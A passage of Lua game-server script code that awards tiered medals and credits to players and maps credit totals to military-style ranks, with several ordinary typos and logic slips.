elseif medals[hash].class.heavyweapons == "Silver" and medals[hash].count.heavyweapons >= 750 then
medals[hash].class.heavyweapons = "Gold"
say(getname(player) .. " has earned a medal : Heavy Weapon Silver!")
elseif medals[hash].class.heavyweapons == "Gold" and medals[hash].count.heavyweapons >= 3000 then
medals[hash].class.heavyweapons = "Onyx"
say(getname(player) .. " has earned a medal : Heavy Weapon Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 500
privatesay(player, "Rewarded: +500 cR - Heavy Weapon : Gold")
changescore(player, 500, plus)
elseif medals[hash].class.heavyweapons == "Onyx" and medals[hash].count.heavyweapons >= 7000 then
medals[hash].class.heavyweapons = "MAX"
say(getname(player) .. " has earned a medal : Heavy Weapon Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Heavy Weapon : Onyx")
changescore(player, 1000, plus)
elseif medals[hash].class.heavyweapons == "MAX" and medals[hash].count.heavyweapons == 14000 then
say(getname(player) .. " has earned a medal : Heavy Weapon MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Heavy Weapon : MAX")
changescore(player, 1500, plus)
done[hash].medal.heavyweapons = "True"
end
end
if done[hash].medal.jackofalltrades == "False" then
if medals[hash].class.jackofalltrades == "Iron" and medals[hash].count.jackofalltrades >= 50 then
-- Create the jackofalltrades count table.
medals[hash].class.jackofalltrades = "Bronze"
say(getname(player) .. " has earned a medal : Jack of all Trades Iron!")
elseif medals[hash].class.jackofalltrades == "Bronze" and medals[hash].count.jackofalltrades >= 125 then
medals[hash].class.jackofalltrades = "Silver"
say(getname(player) .. " has earned a medal : Jack of all Trades Bronze!")
elseif medals[hash].class.jackofalltrades == "Silver" and medals[hash].count.jackofalltrades >= 400 then
medals[hash].class.jackofalltrades = "Gold"
say(getname(player) .. " has earned a medal : Jack of all Trades Silver!")
elseif medals[hash].class.jackofalltrades == "Gold" and medals[hash].count.jackofalltrades >= 1600 then
medals[hash].class.jackofalltrades = "Onyx"
say(getname(player) .. " has earned a medal : Jack of all Trades Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 500
privatesay(player, "Rewarded: +500 cR - Jack of all Trades : Gold")
changescore(player, 500, plus)
elseif medals[hash].class.jackofalltrades == "Onyx" and medals[hash].count.jackofalltrades >= 4800 then
medals[hash].class.jackofalltrades = "MAX"
say(getname(player) .. " has earned a medal : Jack of all Trades Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Jack of all Trades : Onyx")
changescore(player, 1000, plus)
elseif medals[hash].class.jackofalltrades == "MAX" and medals[hash].count.jackofalltrades == 9600 then
say(getname(player) .. " has earned a medal : Jack of all Trades MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Jack of all Trades : MAX")
changescore(player, 1500, plus)
done[hash].medal.jackofalltrades = "True"
end
end
if done[hash].medal.mobileasset == "False" then
if medals[hash].class.mobileasset == "Iron" and medals[hash].count.moblieasset >= 25 then
medals[hash].class.mobileasset = "Bronze"
say(getname(player) .. " has earned a medal : Mobile Asset Iron!")
elseif medals[hash].class.mobileasset == "Bronze" and medals[hash].count.moblieasset >= 125 then
medals[hash].class.mobileasset = "Silver"
say(getname(player) .. " has earned a medal : Mobile Asset Bronze!")
elseif medals[hash].class.mobileasset == "Silver" and medals[hash].count.moblieasset >= 500 then
medals[hash].class.mobileasset = "Gold"
say(getname(player) .. " has earned a medal : Mobile Asset Silver!")
elseif medals[hash].class.mobileasset == "Gold" and medals[hash].count.moblieasset >= 4000 then
medals[hash].class.mobileasset = "Onyx"
say(getname(player) .. " has earned a medal : Mobile Asset Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 750
privatesay(player, "Rewarded: +750 cR - Mobile Asset : Gold")
changescore(player, 750, plus)
elseif medals[hash].class.mobileasset == "Onyx" and medals[hash].count.moblieasset >= 8000 then
medals[hash].class.mobileasset = "MAX"
say(getname(player) .. " has earned a medal : Mobile Asset Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Mobile Asset : Onyx")
changescore(player, 1500, plus)
elseif medals[hash].class.mobileasset == "MAX" and medals[hash].count.moblieasset == 14000 then
say(getname(player) .. " has earned a medal : Mobile Asset MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 2250
privatesay(player, "Rewarded: +2250 cR - Mobile Asset : MAX")
changescore(player, 2250, plus)
done[hash].medal.mobileasset = "True"
end
end
if done[hash].medal.multikill == "False" then
if medals[hash].class.multikill == "Iron" and medals[hash].count.multikill >= 10 then
medals[hash].class.multikill = "Bronze"
say(getname(player) .. " has earned a medal : Multikill Iron!")
elseif medals[hash].class.multikill == "Bronze" and medals[hash].count.multikill >= 125 then
medals[hash].class.multikill = "Silver"
say(getname(player) .. " has earned a medal : Multikill Bronze!")
elseif medals[hash].class.multikill == "Silver" and medals[hash].count.multikill >= 500 then
medals[hash].class.multikill = "Gold"
say(getname(player) .. " has earned a medal : Multikill Silver!")
elseif medals[hash].class.multikill == "Gold" and medals[hash].count.multikill >= 2500 then
medals[hash].class.multikill = "Onyx"
say(getname(player) .. " has earned a medal : Multikill Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 500
privatesay(player, "Rewarded: +500 cR - Multikill : Gold")
changescore(player, 500, plus)
elseif medals[hash].class.multikill == "Onyx" and medals[hash].count.multikill >= 5000 then
medals[hash].class.multikill = "MAX"
say(getname(player) .. " has earned a medal : Multikill Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Multikill : Onyx")
changescore(player, 1000, plus)
elseif medals[hash].class.multikill == "MAX" and medals[hash].count.multikill == 15000 then
say(getname(player) .. " has earned a mdeal : Multikill MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 1500
privatesay(player, "Rewarded: +1500 cR - Multikill : MAX")
changescore(player, 1500, plus)
done[hash].medal.multikill = "True"
end
end
if done[hash].medal.sidearm == "False" then
if medals[hash].class.sidearm == "Iron" and medals[hash].count.sidearm >= 50 then
medals[hash].class.sidearm = "Bronze"
say(getname(player) .. " has earned a medal : Sidearm Iron!")
elseif medals[hash].class.sidearm == "Bronze" and medals[hash].count.sidearm >= 250 then
medals[hash].class.sidearm = "Silver"
say(getname(player) .. " has earned a medal : Sidearm Bronze!")
elseif medals[hash].class.sidearm == "Silver" and medals[hash].count.sidearm >= 1000 then
medals[hash].class.sidearm = "Gold"
say(getname(player) .. " has earned a medal : Sidearm Silver!")
elseif medals[hash].class.sidearm == "Gold" and medals[hash].count.sidearm >= 4000 then
medals[hash].class.sidearm = "Onyx"
say(getname(player) .. " has earned a medal : Sidearm Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Sidearm : Gold")
changescore(player, 1000, plus)
elseif medals[hash].class.sidearm == "Onyx" and medals[hash].count.sidearm >= 8000 then
medals[hash].class.sidearm = "MAX"
say(getname(player) .. " has earned a medal : Sidearm Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 2000
privatesay(player, "Rewarded: +2000 cR - Sidearm : Onyx")
changescore(player, 2000, plus)
elseif medals[hash].class.sidearm == "MAX" and medals[hash].count.sidearm == 10000 then
say(getname(player) .. " has earned a medal : Sidearm MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 3000
privatesay(player, "Rewarded: +3000 cR - Sidearm : MAX")
changescore(player, 3000, plus)
done[hash].medal.sidearm = "True"
end
end
if done[hash].medal.triggerman == "False" then
if medals[hash].class.triggerman == "Iron" and medals[hash].count.triggerman >= 100 then
medals[hash].class.triggerman = "Bronze"
say(getname(player) .. " has earned a medal : Triggerman Iron!")
elseif medals[hash].class.triggerman == "Bronze" and medals[hash].count.triggerman >= 500 then
medals[hash].class.triggerman = "Silver"
say(getname(player) .. " has earned a medal : Triggerman Bronze!")
elseif medals[hash].class.triggerman == "Silver" and medals[hash].count.triggerman >= 4000 then
medals[hash].class.triggerman = "Gold"
say(getname(player) .. " has earned a medal : Triggerman Silver!")
elseif medals[hash].class.triggerman == "Gold" and medals[hash].count.triggerman >= 10000 then
medals[hash].class.triggerman = "Onyx"
say(getname(player) .. " has earned a medal : Triggerman Gold!")
killstats[hash].total.credits = killstats[hash].total.credits + 1000
privatesay(player, "Rewarded: +1000 cR - Triggerman : Gold")
changescore(player, 1000, plus)
elseif medals[hash].class.triggerman == "Onyx" and medals[hash].count.triggerman >= 20000 then
medals[hash].class.triggerman = "MAX"
say(getname(player) .. " has earned a medal : Triggerman Onyx!")
killstats[hash].total.credits = killstats[hash].total.credits + 2000
privatesay(player, "Rewarded: +2000 cR - Triggerman : Onyx")
changescore(player, 2000, plus)
elseif medals[hash].class.triggerman == "MAX" and medals[hash].count.triggerman == 32000 then
say(getname(player) .. " has earned a medal : Triggerman MAX!")
killstats[hash].total.credits = killstats[hash].total.credits + 3000
privatesay(player, "Rewarded: +3000 cR - Triggerman : MAX")
changescore(player, 3000, plus)
done[hash].medal.triggerman = "True"
end
end
end
end
function GetMedalClasses(player)
local hash = gethash(player)
if medals[hash].count.sprees > 5 and medals[hash].count.sprees < 50 then
medals[hash].class.sprees = "Bronze"
elseif medals[hash].count.sprees > 50 and medals[hash].count.sprees < 250 then
medals[hash].class.sprees = "Silver"
elseif medals[hash].count.sprees > 250 and medals[hash].count.sprees < 1000 then
medals[hash].class.sprees = "Gold"
elseif medals[hash].count.sprees > 1000 and medals[hash].count.sprees < 4000 then
medals[hash].class.sprees = "Onyx"
elseif medals[hash].count.sprees > 4000 and medals[hash].count.sprees < 10000 then
medals[hash].class.sprees = "MAX"
elseif medals[hash].count.sprees > 10000 then
medals[hash].class.sprees = "MAX"
end
if medals[hash].count.assists > 50 and medals[hash].count.assists < 250 then
medals[hash].class.assists = "Bronze"
elseif medals[hash].count.assists > 250 and medals[hash].count.assists < 1000 then
medals[hash].class.assists = "Silver"
elseif medals[hash].count.assists > 1000 and medals[hash].count.assists < 4000 then
medals[hash].class.assists = "Gold"
elseif medals[hash].count.assists > 4000 and medals[hash].count.assists < 8000 then
medals[hash].class.assists = "Onyx"
elseif medals[hash].count.assists > 8000 and medals[hash].count.assists < 20000 then
medals[hash].class.assists = "MAX"
elseif medals[hash].count.assists > 20000 then
medals[hash].class.assists = "MAX"
end
if medals[hash].count.closequarters > 50 and medals[hash].count.closequarters < 150 then
medals[hash].class.closequarters = "Bronze"
elseif medals[hash].count.closequarters > 150 and medals[hash].count.closequarters < 400 then
medals[hash].class.closequarters = "Silver"
elseif medals[hash].count.closequarters > 400 and medals[hash].count.closequarters < 1600 then
medals[hash].class.closequarters = "Gold"
elseif medals[hash].count.closequarters > 1600 and medals[hash].count.closequarters < 4000 then
medals[hash].class.closequarters = "Onyx"
elseif medals[hash].count.closequarters > 4000 and medals[hash].count.closequarters < 8000 then
medals[hash].count.closequarters = "MAX"
elseif medals[hash].count.closequarters > 8000 then
medals[hash].count.closequarters = "MAX"
end
if medals[hash].count.crackshot > 100 and medals[hash].count.crackshot < 500 then
medals[hash].class.crackshot = "Bronze"
elseif medals[hash].count.crackshot > 500 and medals[hash].count.crackshot < 4000 then
medals[hash].class.crackshot = "Silver"
elseif medals[hash].count.crackshot > 4000 and medals[hash].count.crackshot < 10000 then
medals[hash].class.crackshot = "Gold"
elseif medals[hash].count.crackshot > 10000 and medals[hash].count.crackshot < 20000 then
medals[hash].class.crackshot = "Onyx"
elseif medals[hash].count.crackshot > 20000 and medals[hash].count.crackshot < 32000 then
medals[hash].class.crackshot = "MAX"
elseif medals[hash].count.crackshot > 32000 then
medals[hash].class.crackshot = "MAX"
end
if medals[hash].count.downshift > 5 and medals[hash].count.downshift < 50 then
medals[hash].class.downshift = "Bronze"
elseif medals[hash].count.downshift > 50 and medals[hash].count.downshift < 750 then
medals[hash].class.downshift = "Silver"
elseif medals[hash].count.downshift > 750 and medals[hash].count.downshift < 4000 then
medals[hash].class.downshift = "Gold"
elseif medals[hash].count.downshift > 4000 and medals[hash].count.downshift < 8000 then
medals[hash].class.downshift = "Onyx"
elseif medals[hash].count.downshift > 8000 and medals[hash].count.downshift < 20000 then
medals[hash].count.downshift = "MAX"
elseif medals[hash].count.downshift > 20000 then
medals[hash].count.downshift = "MAX"
end
if medals[hash].count.grenadier > 25 and medals[hash].count.grenadier < 125 then
medals[hash].class.grenadier = "Bronze"
elseif medals[hash].count.grenadier > 125 and medals[hash].count.grenadier < 500 then
medals[hash].class.grenadier = "Silver"
elseif medals[hash].count.grenadier > 500 and medals[hash].count.grenadier < 4000 then
medals[hash].class.grenadier = "Gold"
elseif medals[hash].count.grenadier > 4000 and medals[hash].count.grenadier < 8000 then
medals[hash].class.grenadier = "Onyx"
elseif medals[hash].count.grenadier > 8000 and medals[hash].count.grenadier < 14000 then
medals[hash].class.grenadier = "MAX"
elseif medals[hash].count.grenadier > 14000 then
medals[hash].class.grenadier = "MAX"
end
if medals[hash].count.heavyweapons > 25 and medals[hash].count.heavyweapons < 150 then
medals[hash].class.heavyweapons = "Bronze"
elseif medals[hash].count.heavyweapons > 150 and medals[hash].count.heavyweapons < 750 then
medals[hash].class.heavyweapons = "Silver"
elseif medals[hash].count.heavyweapons > 750 and medals[hash].count.heavyweapons < 3000 then
medals[hash].class.heavyweapons = "Gold"
elseif medals[hash].count.heavyweapons > 3000 and medals[hash].count.heavyweapons < 7000 then
medals[hash].class.heavyweapons = "Onyx"
elseif medals[hash].count.heavyweapons > 7000 and medals[hash].count.heavyweapons < 14000 then
medals[hash].class.heavyweapons = "MAX"
elseif medals[hash].count.heavyweapons > 14000 then
medals[hash].class.heavyweapons = "MAX"
end
if medals[hash].count.jackofalltrades > 50 and medals[hash].count.jackofalltrades < 125 then
medals[hash].class.jackofalltrades = "Bronze"
elseif medals[hash].count.jackofalltrades > 125 and medals[hash].count.jackofalltrades < 400 then
medals[hash].class.jackofalltrades = "Silver"
elseif medals[hash].count.jackofalltrades > 400 and medals[hash].count.jackofalltrades < 1600 then
medals[hash].class.jackofalltrades = "Gold"
elseif medals[hash].count.jackofalltrades > 1600 and medals[hash].count.jackofalltrades < 4800 then
medals[hash].class.jackofalltrades = "Onyx"
elseif medals[hash].count.jackofalltrades > 4800 and medals[hash].count.jackofalltrades < 9600 then
medals[hash].class.jackofalltrades = "MAX"
elseif medals[hash].count.jackofalltrades > 9600 then
medals[hash].class.jackofalltrades = "MAX"
end
if medals[hash].count.moblieasset > 25 and medals[hash].count.moblieasset < 125 then
medals[hash].class.mobileasset = "Bronze"
-- Declear the medal's class.
elseif medals[hash].count.moblieasset > 125 and medals[hash].count.moblieasset < 500 then
medals[hash].class.mobileasset = "Silver"
-- Declear the medal's class.
elseif medals[hash].count.moblieasset > 500 and medals[hash].count.moblieasset < 4000 then
medals[hash].class.mobileasset = "Gold"
-- Declear the medal's class.
elseif medals[hash].count.moblieasset > 4000 and medals[hash].count.moblieasset < 8000 then
medals[hash].class.mobileasset = "Onyx"
-- Declear the medal's class.
elseif medals[hash].count.moblieasset > 8000 and medals[hash].count.moblieasset < 14000 then
medals[hash].class.mobileasset = "MAX"
-- Declear the medal's class.
elseif medals[hash].count.moblieasset > 14000 then
medals[hash].class.mobileasset = "MAX"
-- Declear the medal's class.
end
if medals[hash].count.multikill > 10 and medals[hash].count.multikill < 125 then
medals[hash].class.multikill = "Bronze"
-- Declear the medal's class.
elseif medals[hash].count.multikill > 125 and medals[hash].count.multikill < 500 then
medals[hash].class.multikill = "Silver"
-- Declear the medal's class.
elseif medals[hash].count.multikill > 500 and medals[hash].count.multikill < 2500 then
medals[hash].class.multikill = "Gold"
-- Declear the medal's class.
elseif medals[hash].count.multikill > 2500 and medals[hash].count.multikill < 5000 then
medals[hash].class.multikill = "Onyx"
-- Declear the medal's class.
elseif medals[hash].count.multikill > 5000 and medals[hash].count.multikill < 15000 then
medals[hash].class.multikill = "MAX"
-- Declear the medal's class.
elseif medals[hash].count.multikill > 15000 then
medals[hash].class.multikill = "MAX"
-- Declear the medal's class.
end
if medals[hash].count.sidearm > 50 and medals[hash].count.sidearm < 250 then
medals[hash].class.sidearm = "Bronze"
elseif medals[hash].count.sidearm > 250 and medals[hash].count.sidearm < 1000 then
medals[hash].class.sidearm = "Silver"
elseif medals[hash].count.sidearm > 1000 and medals[hash].count.sidearm < 4000 then
medals[hash].class.sidearm = "Gold"
elseif medals[hash].count.sidearm > 4000 and medals[hash].count.sidearm < 8000 then
medals[hash].class.sidearm = "Onyx"
elseif medals[hash].count.sidearm > 8000 and medals[hash].count.sidearm < 10000 then
medals[hash].class.sidearm = "MAX"
elseif medals[hash].count.sidearm > 10000 then
medals[hash].class.sidearm = "MAX"
end
if medals[hash].count.triggerman > 100 and medals[hash].count.triggerman < 500 then
medals[hash].class.triggerman = "Bronze"
elseif medals[hash].count.triggerman > 500 and medals[hash].count.triggerman < 4000 then
medals[hash].class.triggerman = "Silver"
elseif medals[hash].count.triggerman > 4000 and medals[hash].count.triggerman < 10000 then
medals[hash].class.triggerman = "Gold"
elseif medals[hash].count.triggerman > 10000 and medals[hash].count.triggerman < 20000 then
medals[hash].class.triggerman = "Onyx"
elseif medals[hash].count.triggerman > 20000 and medals[hash].count.triggerman < 32000 then
medals[hash].class.triggerman = "MAX"
elseif medals[hash].count.triggerman > 32000 then
medals[hash].class.triggerman = "MAX"
end
end
function SendMessage(player, message)
if getplayer(player) then
sendconsoletext(player, message)
end
end
function GetPlayerRank(player)
local hash = gethash(player)
-- Get the hash of the player.
if hash then
killstats[hash].total.credits = killstats[hash].total.credits or 0
if killstats[hash].total.credits > 0 and killstats[hash].total.credits ~= nil and killstats[hash].total.rank ~= nil then
if killstats[hash].total.credits >= 0 and killstats[hash].total.credits < 7500 then
-- 0 - 7,500
killstats[hash].total.rank = "Recruit"
-- Decide his rank.
elseif killstats[hash].total.credits > 7500 and killstats[hash].total.credits < 10000 then
-- 7,500 - 10,000
killstats[hash].total.rank = "Private"
-- Decide his rank.
elseif killstats[hash].total.credits > 10000 and killstats[hash].total.credits < 15000 then
-- 10,000 - 15,000
killstats[hash].total.rank = "Corporal"
-- Decide his rank.
elseif killstats[hash].total.credits > 15000 and killstats[hash].total.credits < 20000 then
-- 15,000 - 20,000
killstats[hash].total.rank = "Sergeant"
-- Decide his rank.
elseif killstats[hash].total.credits > 20000 and killstats[hash].total.credits < 26250 then
-- 20,000 - 26,250
killstats[hash].total.rank = "Sergeant Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 26250 and killstats[hash].total.credits < 32500 then
-- 26,250 - 32,500
killstats[hash].total.rank = "Sergeant Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 32500 and killstats[hash].total.credits < 45000 then
-- 32,500 - 45,000
killstats[hash].total.rank = "Warrant Officer"
-- Decide his rank.
elseif killstats[hash].total.credits > 45000 and killstats[hash].total.credits < 78000 then
-- 45,000 - 78,000
killstats[hash].total.rank = "Warrant Officer Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 78000 and killstats[hash].total.credits < 111000 then
-- 78,000 - 111,000
killstats[hash].total.rank = "Warrant Officer Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 111000 and killstats[hash].total.credits < 144000 then
-- 111,000 - 144,000
killstats[hash].total.rank = "Warrant Officer Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 144000 and killstats[hash].total.credits < 210000 then
-- 144,000 - 210,000
killstats[hash].total.rank = "Captain"
-- Decide his rank.
elseif killstats[hash].total.credits > 210000 and killstats[hash].total.credits < 233000 then
-- 210,000 - 233,000
killstats[hash].total.rank = "Captain Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 233000 and killstats[hash].total.credits < 256000 then
-- 233,000 - 256,000
killstats[hash].total.rank = "Captain Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 256000 and killstats[hash].total.credits < 279000 then
-- 256,000 - 279,000
killstats[hash].total.rank = "Captain Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 279000 and killstats[hash].total.credits < 325000 then
-- 279,000 - 325,000
killstats[hash].total.rank = "Major"
-- Decide his rank.
elseif killstats[hash].total.credits > 325000 and killstats[hash].total.credits < 350000 then
-- 325,000 - 350,000
killstats[hash].total.rank = "Major Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 350000 and killstats[hash].total.credits < 375000 then
-- 350,000 - 375,000
killstats[hash].total.rank = "Major Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 375000 and killstats[hash].total.credits < 400000 then
-- 375,000 - 400,000
killstats[hash].total.rank = "Major Grade 3"
-- Decide his rank
elseif killstats[hash].total.credits > 400000 and killstats[hash].total.credits < 450000 then
-- 400,000 - 450,000
killstats[hash].total.rank = "Lt. Colonel"
-- Decide his rank.
elseif killstats[hash].total.credits > 450000 and killstats[hash].total.credits < 480000 then
-- 450,000 - 480,000
killstats[hash].total.rank = "Lt. Colonel Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 480000 and killstats[hash].total.credits < 510000 then
-- 480,000 - 510,000
killstats[hash].total.rank = "Lt. Colonel Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 510000 and killstats[hash].total.credits < 540000 then
-- 510,000 - 540,000
killstats[hash].total.rank = "Lt. Colonel Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 540000 and killstats[hash].total.credits < 600000 then
-- 540,000 - 600,000
killstats[hash].total.rank = "Commander"
-- Decide his rank.
elseif killstats[hash].total.credits > 600000 and killstats[hash].total.credits < 650000 then
-- 600,000 - 650,000
killstats[hash].total.rank = "Commander Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 650000 and killstats[hash].total.credits < 700000 then
-- 650,000 - 700,000
killstats[hash].total.rank = "Commander Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 700000 and killstats[hash].total.credits < 750000 then
-- 700,000 - 750,000
killstats[hash].total.rank = "Commander Grade 3"
-- Decide his rank
elseif killstats[hash].total.credits > 750000 and killstats[hash].total.credits < 850000 then
-- 750,000 - 850,000
killstats[hash].total.rank = "Colonel"
-- Decide his rank.
elseif killstats[hash].total.credits > 850000 and killstats[hash].total.credits < 960000 then
-- 850,000 - 960,000
killstats[hash].total.rank = "Colonel Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 960000 and killstats[hash].total.credits < 1070000 then
-- 960,000 - 1,070,000
killstats[hash].total.rank = "Colonel Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 1070000 and killstats[hash].total.credits < 1180000 then
-- 1,070,000 - 1,180,000
killstats[hash].total.rank = "Colonel Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 1180000 and killstats[hash].total.credits < 1400000 then
-- 1,180,000 - 1,400,000
killstats[hash].total.rank = "Brigadier"
-- Decide his rank.
elseif killstats[hash].total.credits > 1400000 and killstats[hash].total.credits < 1520000 then
-- 1,400,000 - 1,520,000
killstats[hash].total.rank = "Brigadier Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 1520000 and killstats[hash].total.credits < 1640000 then
-- 1,520,000 - 1,640,000
killstats[hash].total.rank = "Brigadier Grade 2"
-- Decide his rank
elseif killstats[hash].total.credits > 1640000 and killstats[hash].total.credits < 1760000 then
-- 1,640,000 - 1,760,000
killstats[hash].total.rank = "Brigadier Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 1760000 and killstats[hash].total.credits < 2000000 then
-- 1,760,000 - 2,000,000
killstats[hash].total.rank = "General"
-- Decide his rank.
elseif killstats[hash].total.credits > 2000000 and killstats[hash].total.credits < 2200000 then
-- 2,000,000 - 2,200,000
killstats[hash].total.rank = "General Grade 1"
-- Decide his rank.
elseif killstats[hash].total.credits > 2200000 and killstats[hash].total.credits < 2350000 then
-- 2,200,000 - 2,350,000
killstats[hash].total.rank = "General Grade 2"
-- Decide his rank.
elseif killstats[hash].total.credits > 2350000 and killstats[hash].total.credits < 2500000 then
-- 2,350,000 - 2,500,000
killstats[hash].total.rank = "General Grade 3"
-- Decide his rank.
elseif killstats[hash].total.credits > 2500000 and killstats[hash].total.credits < 2650000 then
-- 2,500,000 - 2,650,000
killstats[hash].total.rank = "General Grade 4"
-- Decide his rank.
elseif killstats[hash].total.credits > 2650000 and killstats[hash].total.credits < 3000000 then
-- 2,650,000 - 3,000,000
killstats[hash].total.rank = "Field Marshall"
-- Decide his rank.
elseif killstats[hash].total.credits > 3000000 and killstats[hash].total.credits < 3700000 then
-- 3,000,000 - 3,700,000
killstats[hash].total.rank = "Hero"
-- Decide his rank.
elseif killstats[hash].total.credits > 3700000 and killstats[hash].total.credits < 4600000 then
-- 3,700,000 - 4,600,000
killstats[hash].total.rank = "Legend"
-- Decide his rank.
elseif killstats[hash].total.credits > 4600000 and killstats[hash].total.credits < 5650000 then
-- 4,600,000 - 5,650,000
killstats[hash].total.rank = "Mythic"
-- Decide his rank.
elseif killstats[hash].total.credits > 5650000 and killstats[hash].total.credits < 7000000 then
-- 5,650,000 - 7,000,000
killstats[hash].total.rank = "Noble"
-- Decide his rank.
elseif killstats[hash].total.credits > 7000000 and killstats[hash].total.credits < 8500000 then
-- 7,000,000 - 8,500,000
killstats[hash].total.rank = "Eclipse"
-- Decide his rank.
elseif killstats[hash].total.credits > 8500000 and killstats[hash].total.credits < 11000000 then
-- 8,500,000 - 11,000,000
killstats[hash].total.rank = "Nova"
-- Decide his rank.
elseif killstats[hash].total.credits > 11000000 and killstats[hash].total.credits < 13000000 then
-- 11,000,000 - 13,000,000
killstats[hash].total.rank = "Forerunner"
-- Decide his rank.
elseif killstats[hash].total.credits > 13000000 and killstats[hash].total.credits < 16500000 then
-- 13,000,000 - 16,500,000
killstats[hash].total.rank = "Reclaimer"
-- Decide his rank.
elseif killstats[hash].total.credits > 16500000 and killstats[hash].total.credits < 20000000 then
-- 16,500,000 - 20,000,000
killstats[hash].total.rank = "Inheritor"
-- Decide his rank.
end
end
end
end
function CreditsUntilNextPromo(player)
local hash = gethash(player)
killstats[hash].total.rank = killstats[hash].total.rank or "Recruit"
killstats[hash].total.credits = killstats[hash].total.credits or 0
if killstats[hash].total.rank == "Recruit" then
return 7500 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Private" then
return 10000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Corporal" then
return 15000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Sergeant" then
return 20000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Sergeant Grade 1" then
return 26250 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Sergeant Grade 2" then
return 32500 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Warrant Officer" then
return 45000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Warrant Officer Grade 1" then
return 78000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Warrant Officer Grade 2" then
return 111000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Warrant Officer Grade 3" then
return 144000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Captain" then
return 210000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Captain Grade 1" then
return 233000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Captain Grade 2" then
return 256000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Captain Grade 3" then
return 279000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Major" then
return 325000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Major Grade 1" then
return 350000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Major Grade 2" then
return 375000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Major Grade 3" then
return 400000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Lt. Colonel" then
return 450000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Lt. Colonel Grade 1" then
return 480000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Lt. Colonel Grade 2" then
return 510000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Lt. Colonel Grade 3" then
return 540000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Commander" then
return 600000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Commander Grade 1" then
return 650000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Commander Grade 2" then
return 700000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Commander Grade 3" then
return 750000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Colonel" then
return 850000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Colonel Grade 1" then
return 960000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Colonel Grade 2" then
return 1070000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Colonel Grade 3" then
return 1180000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Brigadier" then
return 1400000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Brigadier Grade 1" then
return 1520000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Brigadier Grade 2" then
return 1640000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Brigadier Grade 3" then
return 1760000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "General" then
return 2000000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "General Grade 1" then
return 2350000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "General Grade 2" then
return 2500000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "General Grade 3" then
return 2650000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "General Grade 4" then
return 3000000 - killstats[hash].total.credits
